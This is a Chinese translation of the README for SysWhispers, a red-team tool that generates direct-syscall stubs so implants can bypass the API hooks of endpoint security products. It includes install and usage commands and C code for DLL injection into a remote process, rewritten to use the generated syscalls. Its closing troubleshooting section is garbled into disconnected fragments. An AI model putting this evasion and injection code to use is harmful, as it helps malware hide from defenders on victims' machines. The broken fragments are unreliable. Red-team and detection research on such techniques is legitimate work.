SysWhispers 通过生成头文件/汇编文件来帮助实现规避,这些文件可供植入体用于直接发起系统调用。
支持从 Windows XP 到 Windows 10 19042 (20H2) 的所有核心系统调用。示例生成文件位于 example-output/ 文件夹中。
各类安全产品会在用户态 API 中放置钩子,从而能够将执行流程重定向到其引擎并检测可疑行为。ntdll.dll 中执行系统调用的函数仅由若干汇编指令组成,因此在自己的植入体中重新实现这些函数可以绕过那些安全产品钩子的触发。此技术由 @Cn33liz 推广,他的博客文章提供了更详细的技术细节,值得一读。
SysWhispers 为红队人员提供了为任何从 Windows XP 开始的核心内核镜像 (ntoskrnl.exe) 系统调用生成头文件/汇编文件对的能力,并支持跨任何 Windows 版本。头文件中还会包含必要的类型定义。
本工具与 Dumpert POC 的主要实现差异在于,它不调用 RtlGetVersion 来查询操作系统版本,而是在汇编中通过直接查询 PEB 来完成。这样做的好处是可以调用一个支持多个 Windows 版本的函数,而不是为每个版本调用多个函数。
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# 导出所有函数,兼容所有支持的 Windows 版本(参见 example-output/)。
py .\syswhispers.py --preset all -o syscalls_all
# 仅导出常用函数,兼容 Windows 7、8 和 10。
py .\syswhispers.py --preset common -o syscalls_common
# 导出 NtProtectVirtualMemory 和 NtWriteVirtualMemory,兼容所有版本。
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# 导出所有函数,兼容 Windows 7、8 和 10。
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: 为何调用内核,当你本可以低语?
已选择常用函数。
完成!文件已写入:
syscom.asm
syscom.h
CreateRemoteThread DLL 注入改造前后对比py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // 导入生成的头文件。
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
使用 --preset common 开关将生成包含以下函数的头文件/汇编文件对:
win32k.sys) 的系统调用。ModuleNotFoundError。
pip3 install -r requirements.txt 安装了所需的模块。syscalls.h 中的 typedef 已在其他地方定义,项目可能无法编译。
--preset all)。syscalls.h 中移除它。本脚本由 @Jackson_T 开发,但建立在许多其他人的工作基础之上:
特别感谢 @Dcept905 的测试和建议。
本项目采用 Apache License 2.0 许可证。